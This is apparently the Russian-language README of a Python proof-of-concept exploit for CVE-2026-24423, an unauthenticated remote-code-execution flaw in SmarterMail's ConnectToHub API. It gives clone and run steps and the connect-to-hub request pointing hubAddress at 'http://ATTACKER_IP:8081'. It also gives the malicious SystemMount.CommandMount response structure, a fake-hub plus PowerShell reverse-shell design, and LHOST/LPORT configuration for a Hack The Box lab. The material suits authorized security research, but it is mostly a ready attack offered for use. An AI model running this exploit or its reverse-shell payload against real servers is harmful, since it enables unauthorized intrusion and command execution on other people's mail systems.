
Unauthenticated RCE PoC для CVE-2026-24423 в SmarterTools SmarterMail (ConnectToHub). Только для авторизованного тестирования безопасности, CTF и исследований.
Эксплойт на Python для CVE-2026-24423 — уязвимости удалённого выполнения кода без аутентификации в функциональности ConnectToHub SmarterTools SmarterMail.
Назначение: только для авторизованного тестирования безопасности, CTF, лабораторий Hack The Box и контролируемых исследовательских сред.
Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. См. SECURITY.md.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
Требуется Python 3.6+ (только стандартная библиотека). Полное руководство — в разделе Использование ниже.
CVE-2026-24423 — уязвимость удалённого выполнения кода без аутентификации, затрагивающая SmarterTools SmarterMail.
Уязвимость существует в функциональности ConnectToHub. Неаутентифицированный атакующий может передать вредоносный hubAddress, заставляя сервер SmarterMail выполнить HTTP-запрос к контролируемому атакующим серверу.
Вредоносный сервер отвечает специально сформированным ответом setup-initial-connection, содержащим контролируемое значение SystemMount.CommandMount.
Уязвимый экземпляр SmarterMail впоследствии обрабатывает это значение как команду операционной системы, что позволяет выполнить произвольные команды в контексте безопасности службы SmarterMail.
Уязвимости присвоена оценка CVSS 4.0 — 9.3 (критическая), и она классифицируется как CWE-306: отсутствие аутентификации для критической функции.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-24423 |
| Производитель | SmarterTools |
| Продукт | SmarterMail |
| Уязвимость | Удалённое выполнение кода без аутентификации |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 критическая |
| CVSS v3.1 | 9.8 критическая |
| Вектор атаки | Сеть |
| Аутентификация | Отсутствует |
| Взаимодействие с пользователем | Отсутствует |
| Сложность | Низкая |
| Опубликовано | 23 января 2026 г. |
| Исправленная сборка | 9511 |
Официальная запись CVE описывает проблему как неаутентифицированное RCE через метод API ConnectToHub.
Затронуты версии SmarterMail до сборки 9511.
В записи CVE указан следующий диапазон затронутых версий:
SmarterMail < 100.0.9511
Сборка 9511, выпущенная 15 января 2026 г., содержит исправление от производителя.
< 100.0.9511
>= 100.0.9511
Всегда проверяйте точную установленную сборку перед попыткой воспроизведения уязвимости.
Уязвимая функциональность доступна через API системного администрирования SmarterMail.
Соответствующая операция:
/api/v1/settings/sysadmin/connect-to-hub
Конечная точка принимает параметр hubAddress.
Концептуально атакующий может передать:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
Затем SmarterMail подключается к указанному адресу хаба и запрашивает:
/web/api/node-management/setup-initial-connection
Контролируемый атакующим сервер отвечает JSON, содержащим вредоносный объект SystemMount.
Важное свойство:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Значение CommandMount впоследствии используется уязвимым приложением как команда операционной системы.
Это позволяет атакующему перейти от:
Неаутентифицированный HTTP-запрос
к:
Удалённое выполнение команд
Технический анализ VulnCheck подтверждает, что контролируемый атакующим hubAddress заставляет SmarterMail запросить конечную точку setup-initial-connection атакующего и что возвращённый CommandMount может обеспечить произвольное выполнение команд.
Эксплойт состоит из двух компонентов:
Python-сервер прослушивает:
POST /web/api/node-management/setup-initial-connection
и возвращает специально сформированный JSON-ответ, содержащий вредоносный SystemMount.CommandMount.
Отдельный TCP-слушатель принимает соединение, инициированное командой, выполненной на цели.
Этот эксплойт намеренно использует два отдельных порта.
8081
└── Поддельный хаб SmarterMail
4455
└── Слушатель обратной оболочки
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
Эти порты служат разным целям, и их не следует путать.
Эксплойт использует только модули стандартной библиотеки Python:
http.server
json
base64
Внешние Python-пакеты не требуются.
Отредактируйте следующие переменные:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Для примера среды HTB:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST — IP-адрес атакующего, доступный цели.
Для Hack The Box это обычно IP, назначенный интерфейсу HTB VPN:
ip addr show tun0
Пример:
tun0:
inet 10.10.14.50
Следовательно:
LHOST = "10.10.14.50"
LPORT — TCP-порт, используемый атакующим для приёма обратного соединения.
Пример:
LPORT = 4455
HUB_PORT — HTTP-порт, используемый вредоносным хабом SmarterMail.
Пример:
HUB_PORT = 8081